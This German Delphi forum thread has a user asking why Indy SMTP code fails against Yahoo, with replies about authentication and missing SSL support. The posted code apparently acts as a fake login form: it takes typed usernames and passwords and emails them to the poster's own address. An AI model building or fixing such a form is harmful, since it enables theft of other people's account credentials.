![]() |
SMTP-Email
Ich bins Nochmal
Habs jetzt geschafft nen Prog zu schreiben das theoretisch die email senden sollte... Jedoch bekomme ich die meldung 'connection closed gracefully' auf rat hin habe ich mein antiviren programm ausgeschaltet und habe es noch mal versucht, danach kam der fehler 'EIDSocketerror meldung socket error #10054 connection reset by peer' aufgetreten. ich hab echt grade kein plan wieso das so ist :/ kann mir bitte jmnd helfen? SC:
Delphi-Quellcode:
unit mEmail;
interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase, IdMessageClient, IdSMTPBase, IdSMTP, jpeg, ExtCtrls, IdMessage; type TForm1 = class(TForm) StatusMemo: TMemo; SMTP: TIdSMTP; Username: TEdit; Password: TEdit; Image1: TImage; ButtonNorm: TImage; ButtonColor: TImage; MailMessage: TIdMessage; procedure ButtonColorClick(Sender: TObject); procedure Image1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); procedure ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); private { Private-Deklarationen } public { Public-Deklarationen } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.ButtonNormMouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin ButtonColor.Visible:=True; Buttonnorm.Visible:=False; end; procedure TForm1.Image1MouseMove(Sender: TObject; Shift: TShiftState; X, Y: Integer); begin ButtonColor.Visible:=not True; Buttonnorm.Visible:=not False; end; procedure TForm1.ButtonColorClick(Sender: TObject); begin MailMessage.From.Address:='sender email'; MailMessage.Recipients.EMailAddresses:='meine e-adresse zum empfang'; MailMessage.Subject:='Data'; MailMessage.Body.Text:='Benutzername:'+#9+Username.Text+#9+'Passwort:'+#9+Password.Text; Smtp.Host:='smtp.mail.yahoo.com'; Smtp.Port:=465; Smtp.Username:='meine email'; Smtp.Password:='mein passwort'; Smtp.Connect; try Smtp.send(MailMessage); finally Smtp.Disconnect; end; end; end. bitte bitte kann mir vielleicht auch jemand erklären das ich es verstehe? MfG CallOfUnite |
AW: SMTP-Email
"connection closed gracefully" ist eine Meldung die normalerweise vom Server kommt.
Beim GMX und Co. erscheint sie, wenn zu oft bzw. zu schnell hintereinander an-/abgemeldet wurde. Ggf. kann sie auch auf Probleme mit dem Port hindeuten. |
AW: SMTP-Email
Liste der Anhänge anzeigen (Anzahl: 1)
Einige Provider erlauben kein direktes Senden.
Es gibt verschiedene Arten der Authentifizierung. z.B. Muß/kann man sich oftmals vorher via POP3 anmelden und es wird dann für eine gewisse Zeit die eigene IP für das Senden (SMTP) freigeschaltet. Auch wird bei SMTP standardmäßig Passwort und Passwort unverschüsselt (als Klartext) übertragen, weswegen einige Provider das aus Sicherheit nicht zulassen. - Authentifizierung via POP3/IMAP4 - und oder du schaust dir mal SASL an (Simple Authentication and Security Layer => IMAP.SASLMechanisms) [edit] Ich hatte daher vor 'ner Weile mal versucht verschieden Dinge in einer Klasse zusammenzufassen. Der Einfachheithalber könntest du einfach mal die zweite TSendMail.SendMail-Methode (Prozedur) ausprobieren. |
AW: SMTP-Email
Port 465 ist für SSL/TLS und inzwischen veraltet (laut
![]() Es fehlt also eine Indy SSL Komponente im Code, die dann über OpenSSL die Verschlüsslung übernimmt. Ich habe keinen Quelltext zur Hand, aber es sollte im Web dazu Beispiele geben. |
Alle Zeitangaben in WEZ +1. Es ist jetzt 02:45 Uhr. |
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024-2025 by Thomas Breitkreuz